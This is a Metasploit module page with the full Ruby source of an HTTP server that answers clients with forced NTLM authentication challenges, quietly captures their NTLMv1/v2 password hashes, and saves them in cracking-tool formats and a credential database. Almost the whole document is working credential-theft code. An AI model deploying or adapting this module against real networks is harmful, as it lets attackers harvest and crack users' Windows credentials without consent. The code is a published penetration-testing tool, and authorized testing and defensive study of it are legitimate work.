HTTP Client MS Credential Catcher

2010-09-20T08:06:27
ID MSF:AUXILIARY/SERVER/CAPTURE/HTTP_NTLM
Type metasploit
Reporter Rapid7
Modified 2020-05-12T20:15:21

Description

This module attempts to quietly catch NTLM/LM Challenge hashes.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/message'
require 'rex/proto/ntlm/crypt'

NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'HTTP Client MS Credential Catcher',
      'Description' => %q{
          This module attempts to quietly catch NTLM/LM Challenge hashes.
        },
      'Author'      =>
        [
          'Ryan Linn <sussurro[at]happypacket.net>',
        ],
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'WebServer', 'Description' => 'Run capture web server' ]
        ],
      'PassiveActions' =>
        [
          'WebServer'
        ],
      'DefaultAction'  => 'WebServer'))

    register_options([
      #OptString.new('LOGFILE',     [ false, "The local filename to store the captured hashes", nil ]),
      OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
      OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
      OptString.new('CHALLENGE',   [ true, "The 8 byte challenge ", "1122334455667788" ])

    ])

    register_advanced_options([
      OptString.new('DOMAIN',  [ false, "The default domain to use for NTLM authentication", "DOMAIN"]),
      OptString.new('SERVER',  [ false, "The default server to use for NTLM authentication", "SERVER"]),
      OptString.new('DNSNAME',  [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]),
      OptString.new('DNSDOMAIN',  [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]),
      OptBool.new('FORCEDEFAULT',  [ false, "Force the default settings", false])
    ])

  end

  def on_request_uri(cli, request)
    vprint_status("Request '#{request.uri}'")

    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    else
      # If the host has not started auth, send 401 authenticate with only the NTLM option
      if(!request.headers['Authorization'])
        vprint_status("401 '#{request.uri}'")
        response = create_response(401, "Unauthorized")
        response.headers['WWW-Authenticate'] = "NTLM"
        response.headers['Proxy-Support'] = 'Session-Based-Authentication'
        response.body =
          "<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"

        cli.send_response(response)
      else
        vprint_status("Continuing auth '#{request.uri}'")
        method,hash = request.headers['Authorization'].split(/\s+/,2)
        # If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
        if(method != "NTLM")
          print_status("Unrecognized Authorization header, responding with 404")
          send_not_found(cli)
          return false
        end

        response = handle_auth(cli,hash)
        cli.send_response(response)
      end
    end
  end

  def run
    if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
      @challenge = [ datastore['CHALLENGE'] ].pack("H*")
    else
      print_error("CHALLENGE syntax must match 1122334455667788")
      return
    end
    exploit()
  end

  def process_options(cli, request)
    print_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  def handle_auth(cli,hash)
    # authorization string is base64 encoded message
    message = Rex::Text.decode_base64(hash)

    if(message[8,1] == "\x01")
      domain = datastore['DOMAIN']
      server = datastore['SERVER']
      dnsname = datastore['DNSNAME']
      dnsdomain = datastore['DNSDOMAIN']

      if(!datastore['FORCEDEFAULT'])
        dom,ws = parse_type1_domain(message)
        if(dom)
          domain = dom
        end
        if(ws)
          server = ws
        end
      end

      response = create_response(401, "Unauthorized")
      chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
      response.headers['WWW-Authenticate'] = "NTLM " + chalhash
      return response

    # if the message is a type 3 message, then we have our creds
    elsif(message[8,1] == "\x03")
      domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash)
      nt_len = ntlm_hash.length

      if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
        arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
          :lm_hash => lm_hash,
          :nt_hash => ntlm_hash
        }

        if arg[:lm_hash][16,32] == '0' * 32
          arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
        end
      # if the length of the ntlm response is not 24 then it will be bigger and represent
      # a ntlmv2 response
      elsif nt_len > 48 #lmv2/ntlmv2
        arg = { :ntlm_ver   => NTLM_CONST::NTLM_V2_RESPONSE,
          :lm_hash   => lm_hash[0, 32],
          :lm_cli_challenge  => lm_hash[32, 16],
          :nt_hash   => ntlm_hash[0, 32],
          :nt_cli_challenge  => ntlm_hash[32, nt_len  - 32]
        }
      elsif nt_len == 0
        print_status("Empty hash from #{host} captured, ignoring ... ")
      else
        print_status("Unknown hash type from #{host}, ignoring ...")
      end

      # If we get an empty hash, or unknown hash type, arg is not set.
      # So why try to read from it?
      if not arg.nil?
        arg[:host] = host
        arg[:user] = user
        arg[:domain] = domain
        arg[:ip] = cli.peerhost
        html_get_hash(arg)
      end

      response = create_response(200)
      response.headers['Cache-Control'] = "no-cache"
      return response
    else
      response = create_response(200)
      response.headers['Cache-Control'] = "no-cache"
      return response
    end

  end

  def parse_type1_domain(message)
    domain = nil
    workstation = nil

    reqflags = message[12,4]
    reqflags = reqflags.unpack("V").first

    if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN)
      dom_len = message[16,2].unpack('v')[0].to_i
      dom_off = message[20,2].unpack('v')[0].to_i
      domain = message[dom_off,dom_len].to_s
    end
    if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION)
      wor_len = message[24,2].unpack('v')[0].to_i
      wor_off = message[28,2].unpack('v')[0].to_i
      workstation = message[wor_off,wor_len].to_s
    end
    return domain,workstation

  end

  def html_get_hash(arg = {})
    ntlm_ver = arg[:ntlm_ver]
    if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
      lm_hash = arg[:lm_hash]
      nt_hash = arg[:nt_hash]
    else
      lm_hash = arg[:lm_hash]
      nt_hash = arg[:nt_hash]
      lm_cli_challenge = arg[:lm_cli_challenge]
      nt_cli_challenge = arg[:nt_cli_challenge]
    end
    domain = arg[:domain]
    user = arg[:user]
    host = arg[:host]
    ip = arg[:ip]

    unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then

      @previous_lm_hash = lm_hash
      @previous_ntlm_hash = nt_hash

      # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
      case ntlm_ver
      when NTLM_CONST::NTLM_V1_RESPONSE
        if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
          print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
          return
        end
        if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
          lm_hash_message = "Disabled"
        elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
          lm_hash_message = "Disabled (from empty password)"
        else
          lm_hash_message = lm_hash
          lm_chall_message = lm_cli_challenge
        end
      when NTLM_CONST::NTLM_V2_RESPONSE
        if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
                :cli_challenge => [nt_cli_challenge].pack("H*"),
                :user => Rex::Text::to_ascii(user),
                :domain => Rex::Text::to_ascii(domain),
                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
          print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
          return
        end
        if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
          lm_hash_message = "Disabled"
          lm_chall_message = 'Disabled'
        elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
                :cli_challenge => [lm_cli_challenge].pack("H*"),
                :user => Rex::Text::to_ascii(user),
                :domain => Rex::Text::to_ascii(domain),
                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
          lm_hash_message = "Disabled (from empty password)"
          lm_chall_message = 'Disabled'
        else
          lm_hash_message = lm_hash
          lm_chall_message = lm_cli_challenge
        end

      when NTLM_CONST::NTLM_2_SESSION_RESPONSE
        if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
                :cli_challenge => [lm_hash].pack("H*")[0,8],
                :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
          print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
          return
        end
        lm_hash_message = lm_hash
        lm_chall_message = lm_cli_challenge
      end

      # Display messages
      domain = Rex::Text::to_ascii(domain)
      user = Rex::Text::to_ascii(user)

      capturedtime = Time.now.to_s
      case ntlm_ver
      when NTLM_CONST::NTLM_V1_RESPONSE
        capturelogmessage =
          "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" +
          "DOMAIN: #{domain} USER: #{user} \n" +
          "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
      when NTLM_CONST::NTLM_V2_RESPONSE
        capturelogmessage =
          "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" +
          "DOMAIN: #{domain} USER: #{user} \n" +
          "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
          "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
          "NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
          "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
      when NTLM_CONST::NTLM_2_SESSION_RESPONSE
        # we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
        # also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
        capturelogmessage =
          "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" +
          "DOMAIN: #{domain} USER: #{user} \n" +
          "NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
          "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"

      else # should not happen
        return
      end

      print_status(capturelogmessage)

      # DB reporting
      # Rem : one report it as a smb_challenge on port 445 has breaking those hashes
      # will be mainly use for psexec / smb related exploit
      opts_report = {
        ip: ip,
        user: user,
        domain: domain,
        ntlm_ver: ntlm_ver,
        lm_hash: lm_hash,
        nt_hash: nt_hash
      }
      opts_report.merge!(lm_cli_challenge: lm_cli_challenge) if lm_cli_challenge
      opts_report.merge!(nt_cli_challenge: nt_cli_challenge) if nt_cli_challenge

      report_creds(opts_report)

      #if(datastore['LOGFILE'])
      #  File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
      #end

      if(datastore['CAINPWFILE'] and user)
        if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
          fd = File.open(datastore['CAINPWFILE'], "ab")
          fd.puts(
            [
              user,
              domain ? domain : "NULL",
              @challenge.unpack("H*")[0],
              lm_hash ? lm_hash : "0" * 48,
              nt_hash ? nt_hash : "0" * 48
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
        end
      end

      if(datastore['JOHNPWFILE'] and user)
        case ntlm_ver
        when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE

          fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
          fd.puts(
            [
              user,"",
              domain ? domain : "NULL",
              lm_hash ? lm_hash : "0" * 48,
              nt_hash ? nt_hash : "0" * 48,
              @challenge.unpack("H*")[0]
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
        when NTLM_CONST::NTLM_V2_RESPONSE
          #lmv2
          fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
          fd.puts(
            [
              user,"",
              domain ? domain : "NULL",
              @challenge.unpack("H*")[0],
              lm_hash ? lm_hash : "0" * 32,
              lm_cli_challenge ? lm_cli_challenge : "0" * 16
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
          #ntlmv2
          fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
          fd.puts(
            [
              user,"",
              domain ? domain : "NULL",
              @challenge.unpack("H*")[0],
              nt_hash ? nt_hash : "0" * 32,
              nt_cli_challenge ? nt_cli_challenge : "0" * 160
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
        end

      end
    end
  end

  def report_creds(opts)
    ip = opts[:ip] || rhost
    user = opts[:user] || nil
    domain = opts[:domain] || nil
    ntlm_ver = opts[:ntlm_ver] || nil
    lm_hash = opts[:lm_hash] || nil
    nt_hash = opts[:nt_hash] || nil
    lm_cli_challenge = opts[:lm_cli_challenge] || nil
    nt_cli_challenge = opts[:nt_cli_challenge] || nil

    case ntlm_ver
    when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
      hash = [
        user, '',
        domain ? domain : 'NULL',
        lm_hash ? lm_hash : '0' * 48,
        nt_hash ? nt_hash : '0' * 48,
        @challenge.unpack('H*')[0]
      ].join(':').gsub(/\n/, '\\n')
      report_hash(ip, user, 'netntlm', hash)
    when NTLM_CONST::NTLM_V2_RESPONSE
      hash = [
        user, '',
        domain ? domain : 'NULL',
        @challenge.unpack('H*')[0],
        lm_hash ? lm_hash : '0' * 32,
        lm_cli_challenge ? lm_cli_challenge : '0' * 16
      ].join(':').gsub(/\n/, '\\n')
      report_hash(ip, user, 'netlmv2', hash)

      hash = [
        user, '',
        domain ? domain : 'NULL',
        @challenge.unpack('H*')[0],
        nt_hash ? nt_hash : '0' * 32,
        nt_cli_challenge ? nt_cli_challenge : '0' * 160
      ].join(':').gsub(/\n/, '\\n')
      report_hash(ip, user, 'netntlmv2', hash)
    else
      hash = domain + ':' +
        ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : '00' * 24 ) + ':' +
        ( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s :  '00' * 24 ) + ':' +
        datastore['CHALLENGE'].to_s
      report_hash(ip, user, nil, hash)
    end
  end

  def report_hash(ip, user, type_hash, hash)
    service_data = {
      address: ip,
      port: 445,
      service_name: 'smb',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      username: user
    }.merge(service_data)

    unless type_hash.nil?
      credential_data.merge!(jtr_format: type_hash)
    end

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end


end